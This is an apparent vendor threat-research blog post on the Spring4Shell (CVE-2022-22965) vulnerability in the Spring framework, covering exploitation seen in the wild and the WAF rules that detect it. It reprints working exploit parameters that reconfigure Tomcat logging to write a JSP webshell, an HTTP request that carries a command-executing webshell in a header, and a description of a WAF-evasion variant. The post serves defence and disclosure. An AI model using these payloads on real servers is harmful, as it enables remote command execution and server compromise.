Mitigating Spring Core “Spring4Shell” Zero-Day
Overview
On March 30, 2022, the security community became widely aware of vulnerabilities related to Spring, the popular open-source Java framework. Akamai’s Adaptive Security Engine was able to detect zero-day attacks on this vulnerability, and Akamai customers are protected (see more details below).
The vulnerability disclosure timeline and other informally reported information unfortunately created confusion about what’s happening, so we wanted to update customers and other interested stakeholders on the situation.
There are two separate vulnerabilities related to Spring products:
CVE-2022-22963 was a vulnerability in Spring Cloud Function (open source serverless technology) that was patched on March 24, and public exploits were made available. (Note: We have a separate blog on this vulnerability.)
Another vulnerability in Spring Core , dubbed “Spring4Shell,” assigned CVE-2022-22965. The Spring Core vulnerability is considered to be more impactful as it affects the core library, and therefore every Spring project is potentially affected. However, there is a discussion about the exploitability of this vulnerability as it requires a special configuration that even Spring developers explicitly warn about being unsafe. We’ll dig into the details of this vulnerability now to bring some clarity.
On the same day the exploit for Spring Core (“Spring4Shell”) became available (March 30), we started seeing exploitation attempts.
Source: Akamai Web Security Analytics from a specific customer
Early exploit attempts
Some of the first exploit attempts were attackers trying to deploy a webshell (a web-based remote control backdoor file), which attackers could later access and execute arbitrary commands on the server, potentially infecting the server with other malware or spread within the target network.
Other attempts were companies testing themselves against the vulnerability.
Here are some examples of the attack payloads we have seen:
Multiple exploit variants
There are multiple ways to exploit the Spring Core vulnerability, but in each of the variants the exploit request reconfigures logging parameters. In this way, attackers are setting the name of the webshell page, the file extension, and the directory it will be written to:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Note that the url-decoded file content in class...first.pattern parameter is %{f}i.
While the value of f which is being evaluated (by %{}) is taken from the HTTP header named f.
GET /aaa HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
The first proof-of-concept exploit was published by a researcher before any formal communication from Spring developers was made, and that’s where the confusion started. The researcher immediately took it down. However, the exploit already leaked and was also available on the vx-underground (security researcher community) portal.
Then the exploit appeared again, while it started as one variant and changed to a more compact version. The main difference between the variants is whether the vulnerable parameters are being set via POST parameters or in a GET request via query string. The second change was reducing the number of requests sent to the server to a single one.
The second version of the exploit also includes a potential WAF or input filtering evasion, while it obfuscates the sensitive code patterns that those security controls are usually looking for, like <% , %> and Runtime.getRuntime(). The uploaded webshell file content includes placeholders that will be replaced by Spring with the content of the corresponding header values.
Thus %{suffix}i in the content of class...first.pattern will be replaced by %>// which is the suffix HTTP header value.
Mitigating with Akamai Adaptive Security Engine
All Akamai Kona Site Defender customers are protected. The Akamai Adaptive Security Engine was able to detect this Spring Core zero-day with existing Command Injection rules:
3000023 - Apache Struts ClassLoader Manipulation Remote Code Execution
Other Kona Site Defender rulesets mitigate this vulnerability:
Automated Attack Group:
1000005 - Command Injection
Kona Rule Set:
3000023 - Apache Struts ClassLoader Manipulation Remote Code Execution
Summary
The Spring Core/“Spring4Shell” vulnerability has the potential to affect many organizations due to the low bar to exploit it. And we anticipate threat actors adapting this vulnerability, launching campaigns for cryptomining, DDoS, ransomware, and as a golden ticket to break into organizations for the next several years to come. However, Akamai customers are protected with Adaptive Security Engine and Kona Site Defender rulesets.
Akamai’s Threat Research Team is monitoring exploitation of this vulnerability and will be updating as new variants appear.
